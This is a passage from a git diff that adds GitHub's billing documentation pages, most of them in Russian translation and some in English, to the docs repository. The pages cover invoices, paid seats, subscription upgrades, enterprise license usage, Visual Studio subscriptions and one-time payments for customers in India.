дополнительных мест за период с 4 по 14 июня, и места станут сразу же доступны для использования. 15 июня организация Мады заплатит за 35 мест. + +## Удаление платных рабочих мест из организации + +Организация Стефана платит за 50 рабочих мест каждый год 20 мая. Если Стефан удалит 20 мест 30 сентября, его организация по-прежнему сможет пользоваться 50 платными местами до конца его текущего цикла выставления счетов — 19 мая. 20 мая сокращение числа мест вступит в силу, организация Стефана заплатит за 30 мест и будет иметь доступ к 30 платным местам. + +## Дополнительные материалы + +- [Управление выставлением счетов для учетной записи {% data variables.product.prodname_dotcom %}](/articles/managing-billing-for-your-github-account) +- [Управление выставлением счетов за {% data variables.product.prodname_marketplace %} приложений](/articles/managing-billing-for-github-marketplace-apps) +- "[Управление выставлением счетов для {% data variables.large_files.product_name_long %}](/articles/managing-billing-for-git-large-file-storage)" +- [Сведения о расценках за пользователей](/articles/about-per-user-pricing) diff --git a/translations/ru-RU/content/billing/managing-billing-for-your-github-account/index.md b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/index.md new file mode 100644 index 000000000000..a6720ff3bc9d --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/index.md @@ -0,0 +1,41 @@ +--- +title: Управление выставлением счетов для учетной записи GitHub +shortTitle: Your GitHub account +intro: '{% ifversion fpt %}{% data variables.product.product_name %} предлагает бесплатные и платные продукты для каждой учетной записи. Вы можете обновить подписку, перейти на более раннюю версию и просмотреть ожидающие изменения в подписке своей учетной записи в любое время.{% elsif ghec or ghes or ghae %}Вы можете управлять выставлением счетов за {% data variables.product.product_name %}{% ifversion ghae %}.{% elsif ghec or ghes %} из своей корпоративной учетной записи на {% data variables.product.prodname_dotcom_the_website %}.{% endif %}{% endif %}' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account + - /categories/97/articles + - /categories/paying-for-user-accounts + - /articles/paying-for-your-github-user-account + - /articles/managing-billing-on-github + - /articles/changing-your-personal-account-s-billing-plan + - /categories/billing + - /categories/3/articles + - /articles/managing-your-organization-s-paid-seats + - /articles/managing-billing-for-your-github-account +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +children: + - /about-billing-for-github-accounts + - /about-billing-for-your-enterprise + - /about-per-user-pricing + - /viewing-the-subscription-and-usage-for-your-enterprise-account + - /upgrading-your-github-subscription + - /viewing-and-managing-pending-changes-to-your-subscription + - /downgrading-your-github-subscription + - /managing-invoices-for-your-enterprise + - /connecting-an-azure-subscription-to-your-enterprise + - /how-does-upgrading-or-downgrading-affect-the-billing-process + - /one-time-payments-for-customers-in-india + - /discounted-subscriptions-for-github-accounts +ms.openlocfilehash: e305653ca02103ace73f984df9b74436caf63162 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145910650' +--- + diff --git a/translations/ru-RU/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md new file mode 100644 index 000000000000..0152baae9f09 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md @@ -0,0 +1,49 @@ +--- +title: Управление счетами для предприятия +shortTitle: Manage invoices +intro: 'Вы можете просмотреть, оплатить или загрузить текущий счет для вашего предприятия, а также просмотреть журнал платежей.' +versions: + ghec: '*' +type: how_to +topics: + - Enterprise + - Licensing +ms.openlocfilehash: 030d91667630445f0811db6e51d5fe33ed863182 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145087915' +--- +## Сведения об управлении счетами для предприятия + +{% data reusables.billing.about-invoices-for-enterprises %} Дополнительную информацию см. в разделе [Сведения о выставлении счетов для предприятия](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise). + +Дополнительные сведения о просмотре подписки и сведения об использовании для корпоративной учетной записи см. в разделе [Просмотр подписки и использования для корпоративной учетной записи](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account). + +{% data reusables.billing.ghes-with-no-enterprise-account %} + +## Просмотр текущего счета + +{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %} +4. В разделе "Текущий счет" щелкните **Просмотреть счет**. + ![Ссылка на просмотр счета](/assets/images/help/business-accounts/view-invoice-link.png) + +## Оплата текущего счета + +{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %} +4. В разделе "К оплате" щелкните **Оплатить счет**. + ![Ссылка для оплаты счета](/assets/images/help/business-accounts/pay-invoice-link.png) +5. В разделе "Оплата счета" введите данные кредитной карты в безопасной форме и щелкните **Оплатить счет**. + ![Подтверждение и оплата счета](/assets/images/help/business-accounts/pay-invoice.png) + +## Скачивание текущего счета + +{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %} +4. В разделе "Быстрые действия" щелкните **Скачать текущий счет**. + ![Ссылка на скачивание текущего счета](/assets/images/help/business-accounts/download-current-invoice.png) + +## Просмотр журнала платежей + +{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %} +4. Чтобы просмотреть сводку о прошлых действиях по выставлению счетов, в разделе "Выставление счетов" щелкните вкладку **Прошлые счета**. ![Вкладка "Просмотр журнала платежей"](/assets/images/help/business-accounts/view-payment-history.png) diff --git a/translations/ru-RU/content/billing/managing-billing-for-your-github-account/one-time-payments-for-customers-in-india.md b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/one-time-payments-for-customers-in-india.md new file mode 100644 index 000000000000..c6a8043dce98 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/one-time-payments-for-customers-in-india.md @@ -0,0 +1,73 @@ +--- +title: Одноразовые платежи для клиентов в Индии +intro: 'Клиенты в Индии, которые обязаны соблюдать правила о регулярных платежах Резервного банка Индии, теперь могут совершать одноразовые платежи за свои подписки и услуги на GitHub.' +redirect_from: + - /early-access/billing/india-rbi-regulation +versions: + fpt: '*' + ghec: '*' +topics: + - Billing + - Sponsors + - Policy +shortTitle: India one-time payments +ms.openlocfilehash: 802aadbed65cf4fcb133d82e3ba417c8582be1af +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147111325' +--- +## О регулировании регулярных платежей Резервного банка Индии + +Недавно вступило в силу новое регулирование платежей Резервного банка Индии (RBI). Это регулирование устанавливает дополнительные требования к повторяющимся онлайн-транзакциям и не позволило некоторым клиентам {% data variables.product.company_short %} в Индии делать повторяющиеся платежи. Клиенты, использующие методы оплаты, выданные в Индии для любых повторяющихся транзакций на {% data variables.product.product_name %}, могут обнаружить, что их платежи отклоняются их банками или издателями карт. Дополнительные сведения см. в [пресс-релизе RBI](https://www.rbi.org.in/Scripts/BS_PressReleaseDisplay.aspx?prid=51353). + +Правила применяются ко всем повторяющимся транзакциям, в том числе к таким, как: +- подписки на план {% data variables.product.prodname_dotcom %} (Pro, команда, Enterprise); +- покупки в {% data variables.product.prodname_marketplace %}; +- транзакции {% data variables.product.prodname_sponsors %}; +- покупки хранилища больших файлов Git; +- потребление {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %} и {% data variables.product.prodname_github_codespaces %}. + +Чтобы свести к минимуму перерывы, повторяющиеся платежи для наших затронутых клиентов были приостановлены 29 октября 2021 года. Платные возможности и услуги остаются доступными для клиентов, затронутых правилами RBI. + +## Сведения о единовременных платежах по {% data variables.product.company_short %} + +Поскольку мы работаем с нашим поставщиком шлюза оплаты в соответствии с новыми требованиями, мы предоставляем временный одноразовый способ оплаты для затронутых клиентов в Индии. С 15 февраля 2022 года клиенты {% data variables.product.company_short %} в Индии, которые пострадали от новых правил RBI, смогут выполнять одноразовые платежи по регулярному периоду выставления счетов. + +### Для клиентов по ежемесячному выставлению счетов + +Клиенты в ежемесячных планах выставления счетов смогут однократно осуществить оплату в тот же день, когда их период выставления счетов обычно продлевается. Например, если вы обычно получаете счета седьмого числа каждого месяца, вы сможете выполнить одноразовый платеж с вашего счета с этого числа каждого месяца. Первый одноразовый платеж также будет включать любое начисленное использование с октября 2021 года. + +Если сейчас выставляются счета ежемесячно, а вы хотите перейти на ежегодное выставление счетов, вы можете уменьшить частоту одноразовых платежей. Дополнительные сведения см. в разделе [Изменение длительности периода выставления счетов](/en/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle). + +### Для клиентов по ежегодному выставлению счетов + +Если вам выставляется счет ежегодно, а дата продления составляет от 1 октября 2021 г. до 14 февраля 2022 г., вы сможете единовременно оплатить ежегодные подписки с 15 февраля. Этот первоначальный платеж будет включать пропорциональные невыполненные затраты на подписку за период с момента окончания предыдущего периода выставления счетов. + +Если ваш период выставления счетов должен быть продлен после 15 февраля, мы попытаемся принять повторяющийся платеж. Если попытка оплаты отклонена, вы сможете выполнить одноразовую оплату на странице выставления счетов вашей учетной записи. + +В то же время мы активно работаем с нашими партнерами по оплате, чтобы восстановить повторяющиеся платежи для затронутых клиентов. Для получения дополнительных сведений или вопросов можно обратиться в [службу поддержки GitHub](https://support.github.com/contact). + +### Влияние на {% data variables.product.prodname_sponsors %} + +Доступные спонсорские предложения не будут изменяться в течение этого периода, а сопровождающие будут по-прежнему получать оплату должным образом. Платежи за накопленные спонсорские суммы из счета финансирования будут собираться в то же время, как и другие накопленные расходы. + +## Единовременная оплата подписки на GitHub + +{% note %} + +**Примечание**. Затронутые клиенты получат уведомление по электронной почте со ссылкой на параметры выставления счетов при оплате. Два дальнейших напоминания будут отправлены на электронную почту через 7 и 14 дней, если платеж не был выполнен. Через 14 дней платные возможности и услуги будут заблокированы до тех пор, пока не будет выполнен платеж. + +{% endnote %} + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} +3. В верхней части страницы нажмите кнопку **Оплатить сейчас**. + ![Кнопка единовременной оплаты сейчас](/assets/images/help/billing/pay-now-button.png) +4. Просмотрите сведения о выставлении счетов и платежах. Если вам нужно внести правку, щелкните **Правка** рядом с соответствующим разделом. В противном случае щелкните **Отправить платеж**. + ![Сводка по одноразовым платежам](/assets/images/help/billing/payment-summary.png) +5. При необходимости, если вы щелкнули **Правка**, внесите необходимые изменения и щелкните **Отправить платеж**. + ![Сводка по правкам одноразовых платежей](/assets/images/help/billing/payment-summary-edit.png) +6. После успешной оплаты за текущий период выставления счетов кнопка **Оплатить сейчас** на странице "Выставление счетов и планы" будет отключена, пока не будет выплачен следующий платеж. + ![Кнопка единовременной оплаты сейчас отключена](/assets/images/help/billing/pay-now-button-disabled.png) + diff --git a/translations/ru-RU/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md new file mode 100644 index 000000000000..9d40ff93125f --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md @@ -0,0 +1,112 @@ +--- +title: Upgrading your GitHub subscription +intro: 'You can upgrade the subscription for any type of account on {% data variables.location.product_location %} at any time.' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-your-github-subscription + - /articles/upgrading-your-personal-account-s-billing-plan + - /articles/upgrading-your-personal-account + - /articles/upgrading-your-personal-account-from-free-to-a-paid-account + - /articles/upgrading-your-personal-account-from-free-to-paid-with-a-credit-card + - /articles/upgrading-your-personal-account-from-free-to-paid-with-paypal + - /articles/500-error-while-upgrading + - /articles/upgrading-your-organization-s-billing-plan + - /articles/changing-your-organization-billing-plan + - /articles/upgrading-your-organization-account-from-free-to-paid-with-a-credit-card + - /articles/upgrading-your-organization-account-from-free-to-paid-with-paypal + - /articles/upgrading-your-organization-account + - /articles/switching-from-per-repository-to-per-user-pricing + - /articles/adding-seats-to-your-organization + - /articles/upgrading-your-github-billing-plan + - /articles/upgrading-your-github-subscription + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/upgrading-your-github-subscription +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Organizations + - Troubleshooting + - Upgrades + - User account +shortTitle: Upgrade your subscription +--- + +## About subscription upgrades + +{% data reusables.accounts.accounts-billed-separately %} + +When you upgrade the subscription for an account, the upgrade changes the paid features available for that account only, and not any other accounts you use. + +## Upgrading your personal account's subscription + +You can upgrade your personal account from {% data variables.product.prodname_free_user %} to {% data variables.product.prodname_pro %} to get advanced code review tools on private repositories owned by your personal account. Upgrading your personal account does not affect any organizations you may manage or repositories owned by those organizations. {% data reusables.gated-features.more-info %} + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.billing_plans %} +1. Next to "Current plan", click **Upgrade**. + ![Upgrade button](/assets/images/help/billing/settings_billing_user_upgrade.png) +2. Under "Pro" on the "Compare plans" page, click **Upgrade to Pro**. +{% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %} +{% data reusables.dotcom_billing.show-plan-details %} +{% data reusables.dotcom_billing.enter-billing-info %} +{% data reusables.dotcom_billing.enter-payment-info %} +{% data reusables.dotcom_billing.finish_upgrade %} + +## Managing your organization's subscription + +You can upgrade your organization's subscription to a different product, add seats to your existing product, or switch from per-repository to per-user pricing. + +### Upgrading your organization's subscription + +You can upgrade your organization from {% data variables.product.prodname_free_team %} for an organization to {% data variables.product.prodname_team %} to access advanced collaboration and management tools for teams, or upgrade your organization to {% data variables.product.prodname_ghe_cloud %} for additional security, compliance, and deployment controls. Upgrading an organization does not affect your personal account or repositories owned by your personal account. {% data reusables.gated-features.more-info-org-products %} + +{% data reusables.dotcom_billing.org-billing-perms %} + +{% data reusables.organizations.billing-settings %} +{% data reusables.dotcom_billing.upgrade_org %} +{% data reusables.dotcom_billing.choose_org_plan %} +{% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %} +{% data reusables.dotcom_billing.show-plan-details %} +{% data reusables.dotcom_billing.enter-payment-info %} +{% data reusables.dotcom_billing.owned_by_business %} +{% data reusables.dotcom_billing.finish_upgrade %} + +### Next steps for organizations using {% data variables.product.prodname_ghe_cloud %} + +If you upgraded your organization to {% data variables.product.prodname_ghe_cloud %}, you can set up identity and access management for your organization. For more information, see "[Managing SAML single sign-on for your organization](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} + +If you'd like to use an enterprise account with {% data variables.product.prodname_ghe_cloud %}, contact {% data variables.contact.contact_enterprise_sales %}. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} + +### Adding seats to your organization + +If you'd like additional users to have access to your {% data variables.product.prodname_team %} organization's private repositories, you can purchase more seats anytime. + +{% data reusables.organizations.billing-settings %} +{% data reusables.dotcom_billing.add-seats %} +{% data reusables.dotcom_billing.number-of-seats %} +{% data reusables.dotcom_billing.confirm-add-seats %} + +### Switching your organization from per-repository to per-user pricing + +{% data reusables.dotcom_billing.switch-legacy-billing %} For more information, see "[About per-user pricing](/articles/about-per-user-pricing)." + +{% data reusables.organizations.billing-settings %} +5. To the right of your plan name, use the **Edit** drop-down menu, and select **Edit plan**. + ![Edit drop-down menu](/assets/images/help/billing/per-user-upgrade-button.png) +6. To the right of "Advanced tools for teams", click **Upgrade now**. + ![Upgrade now button](/assets/images/help/billing/per-user-upgrade-now-button.png) +{% data reusables.dotcom_billing.choose_org_plan %} +{% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %} +{% data reusables.dotcom_billing.owned_by_business %} +{% data reusables.dotcom_billing.finish_upgrade %} + +## Troubleshooting a 500 error when upgrading + +{% data reusables.dotcom_billing.500-error %} + +## Further reading + +- "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)" +- "[How does upgrading or downgrading affect the billing process?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)" +- "[About billing on {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)." diff --git a/translations/ru-RU/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md new file mode 100644 index 000000000000..fc42fd78ce8d --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md @@ -0,0 +1,40 @@ +--- +title: Просмотр ожидающих изменений подписки и управление ими +intro: 'Вы можете просматривать и отменять ожидающие обработки изменения в подписках, прежде чем они вступят в силу в следующую дату выставления счетов.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-and-managing-pending-changes-to-your-subscription + - /articles/viewing-and-managing-pending-changes-to-your-personal-account-s-billing-plan + - /articles/viewing-and-managing-pending-changes-to-your-organization-s-billing-plan + - /articles/viewing-and-managing-pending-changes-to-your-billing-plan + - /articles/viewing-and-managing-pending-changes-to-your-subscription + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Organizations + - User account +shortTitle: Pending subscription changes +ms.openlocfilehash: 75cf19d56b61735ba39ddc943cf5b0c197416035 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145087908' +--- +Вы можете отменить ожидающие изменения подписки в учетной записи, а также ожидающие изменения подписки на другие платные функции и продукты. + +Если ожидающее изменение отменить, в следующую дату выставления счетов подписка не изменится (если вы снова не измените подписку до этой даты). + +## Просмотр ожидающих изменений подписки для личной учетной записи и управление ими + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.review-pending-changes %} {% data reusables.dotcom_billing.cancel-pending-changes %} {% data reusables.dotcom_billing.confirm-cancel-pending-changes %} + +## Просмотр ожидающих изменений подписки для организации и управление ими + +{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.review-pending-changes %} {% data reusables.dotcom_billing.cancel-pending-changes %} {% data reusables.dotcom_billing.confirm-cancel-pending-changes %} + +## Дополнительные материалы + +- [Продукты {% data variables.product.prodname_dotcom %}](/articles/github-s-products) diff --git a/translations/ru-RU/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md new file mode 100644 index 000000000000..aba1e9288f09 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md @@ -0,0 +1,54 @@ +--- +title: Viewing the subscription and usage for your enterprise account +intro: 'You can view the current {% ifversion ghec %}subscription, {% endif %}license usage{% ifversion ghec %}, invoices, payment history, and other billing information{% endif %} for {% ifversion ghec %}your enterprise account{% elsif ghes %}{% data variables.location.product_location_enterprise %}{% endif %}.' +permissions: 'Enterprise owners {% ifversion ghec %}and billing managers {% endif %}can access and manage all billing settings for enterprise accounts.' +redirect_from: + - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/viewing-the-subscription-and-usage-for-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise-account/viewing-the-subscription-and-usage-for-your-enterprise-account + - /articles/viewing-the-subscription-and-usage-for-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/viewing-the-subscription-and-usage-for-your-enterprise-account +versions: + ghec: '*' + ghes: '*' +topics: + - Enterprise +shortTitle: View subscription & usage +--- + +## About billing for enterprise accounts + +You can view an overview of {% ifversion ghec %}your subscription and paid{% elsif ghes %}the license{% endif %} usage for {% ifversion ghec %}your{% elsif ghes %}the{% endif %} enterprise account on {% ifversion ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.location.product_location %}{% endif %}.{% ifversion ghec %} {% data reusables.enterprise.create-an-enterprise-account %} For more information, see "[Creating an enterprise account](/enterprise-cloud@latest/admin/overview/creating-an-enterprise-account)."{% endif %} + +For invoiced {% data variables.product.prodname_enterprise %} customers{% ifversion ghes %} who use both {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %}{% endif %}, each invoice includes details about billed services for all products. For example, in addition to your usage for {% ifversion ghec %}{% data variables.product.prodname_ghe_cloud %}{% elsif ghes %}{% data variables.product.product_name %}{% endif %}, you may have usage for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghec %}, {% elsif ghes %}. You may also have usage on {% data variables.product.prodname_dotcom_the_website %}, like {% endif %}paid licenses in organizations outside of your enterprise account, data packs for {% data variables.large_files.product_name_long %}, or subscriptions to apps in {% data variables.product.prodname_marketplace %}. For more information about invoices, see "[Managing invoices for your enterprise]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise){% ifversion ghec %}."{% elsif ghes %}" in the {% data variables.product.prodname_dotcom_the_website %} documentation.{% endif %} + +{% ifversion ghec %} + +In addition to enterprise owners, billing managers can view the subscription and usage for your enterprise account. For more information, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise#billing-manager)" and "[Inviting people to manage your enterprise](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)." + +{% data reusables.enterprise-accounts.billing-microsoft-ea-overview %} For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)." + +{% endif %} + +{% ifversion ghes %} + +If you want to view an overview of your subscription and usage for {% data variables.product.prodname_enterprise %} and any related services on {% data variables.product.prodname_dotcom_the_website %}, see "[Viewing the subscription and usage for your enterprise account](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)" in the {% data variables.product.prodname_ghe_cloud %} documentation. + +{% endif %} + +## Viewing the subscription and usage for your enterprise account + +You can view the subscription and usage for your enterprise and download a file with license details. + +{% data reusables.billing.license-statuses %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.license-tab %} +1. Under "User licenses", view your total licenses, number of consumed licenses, and your subscription expiration date. + {% ifversion ghec %}![License and subscription information in enterprise billing settings](/assets/images/help/business-accounts/billing-license-info.png){% else %} + ![License and subscription information in enterprise billing settings](/assets/images/enterprise/enterprise-server/enterprise-server-billing-license-info.png){% endif %} +1. Optionally, to view details for license usage or download a {% ifversion ghec %}CSV{% elsif ghes %}JSON{% endif %} file with license details{% ifversion ghec %}, to the right of "User Licenses"{% endif %}, click **View {% ifversion ghec %}details{% elsif ghes %}users{% endif %}** or {% ifversion ghec %}{% octicon "download" aria-label="The download icon" %}{% elsif ghes %}**Export license usage**{% endif %}.{% ifversion ghec %} + !["View details" button and button with download icon to the right of "User Licenses"](/assets/images/help/business-accounts/billing-license-info-click-view-details-or-download.png){% endif %}{% ifversion ghec %} +1. Optionally, to view usage details for other features, in the left sidebar, click **Billing**. + ![Billing tab in the enterprise account settings sidebar](/assets/images/help/business-accounts/settings-billing-tab.png) +{% endif %} diff --git a/translations/ru-RU/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md b/translations/ru-RU/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md new file mode 100644 index 000000000000..2013410f2c41 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md @@ -0,0 +1,56 @@ +--- +title: "Сведения о подписках Visual\_Studio с GitHub Enterprise" +intro: 'Вы можете предоставить подписчикам {% data variables.product.prodname_vs %} в своей команде доступ к {% data variables.product.prodname_enterprise %} с объединенным предложением Майкрософт.' +redirect_from: + - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/managing-licenses-for-visual-studio-subscription-with-github-enterprise + - /github/setting-up-and-managing-your-enterprise/managing-licenses-for-the-github-enterprise-and-visual-studio-bundle + - /github/setting-up-and-managing-your-enterprise-account/managing-licenses-for-the-github-enterprise-and-visual-studio-bundle + - /github/articles/about-the-github-and-visual-studio-bundle + - /articles/about-the-github-and-visual-studio-bundle + - /github/setting-up-and-managing-your-enterprise-account/managing-licenses-for-visual-studio-subscription-with-github-enterprise + - /github/setting-up-and-managing-your-enterprise/managing-licenses-for-visual-studio-subscription-with-github-enterprise + - /billing/managing-your-license-for-github-enterprise/managing-licenses-for-visual-studio-subscription-with-github-enterprise +versions: + ghec: '*' +type: overview +topics: + - Enterprise + - Licensing +shortTitle: About +ms.openlocfilehash: dd66572e3de9f34f6783b15d9fe8c876f4bb9d6b +ms.sourcegitcommit: 6b649e03ca2fef38c9ebbeec92102219849380e2 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/31/2022 +ms.locfileid: '148120612' +--- +## Сведения о {% data variables.visual_studio.prodname_vss_ghe %} + +{% data reusables.enterprise-accounts.vss-ghe-description %} {% data variables.visual_studio.prodname_vss_ghe %} доступен в корпорации Майкрософт в соответствии с условиями Соглашение Enterprise Майкрософт. Дополнительные сведения см. в разделе [{% data variables.visual_studio.prodname_vss_ghe %}](https://visualstudio.microsoft.com/subscriptions/visual-studio-github/) на веб-сайте {% data variables.product.prodname_vs %}. + +Для использования части лицензии {% data variables.product.prodname_enterprise %} личная учетная запись каждого подписчика на {% data variables.product.prodname_dotcom_the_website %} должна быть в числе или должна войти в число членов организации, принадлежащей вашему предприятию на {% data variables.product.prodname_dotcom_the_website %}. Для этого владельцы организации могут приглашать новых членов в организацию по адресу электронной почты. Подписчик может принять приглашение с существующей учетной записью пользователя на {% data variables.product.prodname_dotcom_the_website %} или создать новую учетную запись. + +Дополнительные сведения о настройке {% data variables.visual_studio.prodname_vss_ghe %} см. в разделе [Настройка {% data variables.visual_studio.prodname_vss_ghe %}](/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise). + +## Сведения о лицензиях для {% data variables.visual_studio.prodname_vss_ghe %} + +После назначения лицензии на {% data variables.visual_studio.prodname_vss_ghe %} подписчик будет использовать часть лицензии {% data variables.product.prodname_enterprise %}, присоединившись к организации на предприятии с личной учетной записью в {% data variables.product.prodname_dotcom_the_website %}. Если проверенный адрес электронной почты личной учетной записи участника предприятия в {% data variables.product.prodname_dotcom_the_website %} совпадает с основным именем пользователя (UPN) для подписчика вашей учетной записи {% data variables.product.prodname_vs %}, подписчик {% data variables.product.prodname_vs %} будет автоматически использовать одну лицензию для {% data variables.visual_studio.prodname_vss_ghe %}. + +Общее количество лицензий для предприятия на {% data variables.product.prodname_dotcom %} — это сумма любых стандартных лицензий {% data variables.product.prodname_enterprise %} и количества лицензий на подписку {% data variables.product.prodname_vs %}, которые включают доступ к {% data variables.product.prodname_dotcom %}. Если личная учетная запись для члена предприятия не соответствует адресу электронной почты подписчика {% data variables.product.prodname_vs %}, лицензия, используемая личной учетной записью, недоступна для подписчика {% data variables.product.prodname_vs %}. + +Дополнительные сведения о {% data variables.product.prodname_enterprise %} см. в разделе [Продукты {% data variables.product.company_short %}](/github/getting-started-with-github/githubs-products#github-enterprise). Дополнительные сведения об учетных записях на {% data variables.product.prodname_dotcom_the_website %} см. в разделе [Типы учетных записей {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/types-of-github-accounts). + +Количество лицензий {% data variables.product.prodname_enterprise %}, доступных для вашего предприятия, можно просмотреть в {% data variables.location.product_location %}. Список ожидающих приглашений включает подписчиков, которые еще не являются членами хотя бы одной организации вашего предприятия. Дополнительные сведения см. в разделах [Просмотр подписки и использования для вашей корпоративной учетной записи](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account) и [Просмотр людей в предприятии](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-members-and-outside-collaborators). + +{% tip %} + +**Подсказка.** Если скачать CSV-файл с информацией об использовании вашей корпоративной лицензии на шаге 6 раздела [Просмотр подписки и использования для вашей корпоративной учетной записи](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account#viewing-the-subscription-and-usage-for-your-enterprise-account), то все члены с отсутствующим значением в столбце "Имя" или "Профиль" — это те, кто еще не принял приглашение присоединиться к организации внутри предприятия. + +{% endtip %} + +Ожидающие приглашения {% data variables.product.prodname_enterprise %} для подписчиков также можно увидеть в {% data variables.visual_studio.prodname_vss_admin_portal_with_url %}. + +## Дополнительные материалы + +- [Подписки {% data variables.product.prodname_vs %} с {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/visualstudio/subscriptions/access-github) в документации Майкрософт +- [Использование {% data variables.product.prodname_vs %} или {% data variables.product.prodname_vscode %} для развертывания приложений из {% data variables.product.prodname_dotcom 